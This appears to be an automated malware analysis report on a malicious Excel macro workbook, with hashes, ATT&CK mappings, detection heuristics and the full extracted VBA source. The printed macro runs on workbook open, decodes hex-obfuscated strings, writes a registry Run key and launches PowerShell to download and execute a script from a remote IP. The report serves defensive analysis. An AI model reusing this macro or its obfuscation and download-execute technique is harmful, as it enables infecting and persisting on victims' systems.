Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 6c92ed33934d5a60…

MALICIOUS

Office (OOXML) / .XLSM

13.4 KB Created: 2021-02-08 00:29:32 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-02-18
MD5: 18d6c58d438aa199c43cec6503ae2a6c SHA-1: f2dbad3686195f07db9bac1aa7eba45120069ded SHA-256: 6c92ed33934d5a604f57aac4ff33252720354285291791bed88b6f3f15b9631d
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The Workbook_Open macro utilizes WScript.Shell to create a registry key for persistence and execute a PowerShell command. The PowerShell command downloads and executes a script from the URL 'http://185.181.10.100/a.txt'. The registry key written is 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Set ghhfgfgdsfas = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set ghhfgfgdsfas = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2107 bytes
SHA-256: aa9d9f2f0bf38a4e7b80b7b0a1561dd3b59315ad66b3798b2cdd490e53d0d71a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
 Set ghhfgfgdsfas = CreateObject("WScript.Shell")
  Set ghhfgfgdsfas = CreateObject("WScript.Shell")
  a = "545751656B4F615E5E515A606B615F515E68517A82757E7B7A79717A806883757A70757E"
  b = "6F79702C3B6F2C7C6A7B83717E7F746A71786A782C39832C3D2C4D707039597C5C7E7172717E717A6F712C3951846F78817F757B7A5C6D80742C2E30717A82466D7C7C706D806D2E475F806D7E80395F7871717C2C3D3E472C345A7183395B6E76716F802C5A71803A63716E4F7875717A80353A507B837A787B6D705275787134337480807C463B3B817A75807E6D7A7F74757C3A757A3B7C63725F417F5955457763757E51573A71847133383430717A82466D7C7C706D806D35373368607D5A6F4F3A6E6D803335475F806D7E80395F7871717C2C3E472C5F806D7E80395C7E7B6F717F7F2C30717A82466D7C7C706D806D68607D5A6F4F3A6E6D8047325E51592C33"
  c = "6F79702C3B6F2C7F6F74806D7F777F2C3B7E817A2C3B807A2C6859756F7E7B7F7B72806863757A707B837F6850757F774F78716D7A817C685F7578717A804F78716D7A817C2C3B55"
  d = "545751656B4F615E5E515A606B615F515E68517A82757E7B7A79717A806883757A70757E"
   ghhfgfgdsfas.RegWrite hgfhffsadsa(a), hgfhffsadsa(b)
   ghhfgfgdsfas.Run (hgfhffsadsa(c))
   Set ghhfgfgdsfas = CreateObject("WScript.Shell")
  Application.Wait (Now + TimeValue("0:00:07"))
   ghhfgfgdsfas.RegDelete hgfhffsadsa(d)
   ActiveWorkbook.Close
   End Sub
    Function hgfhffsadsa(str)
        Dim i
        Dim sStr
        sStr = ""
        For i = 1 To Len(str) Step 2
            sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)) - 12)
        Next
        hgfhffsadsa = sStr
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 15360 bytes
SHA-256: e51fd931e27b801c8fbd86b7560e7ec7076df08ce369c678dd0ba9227c24419c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).

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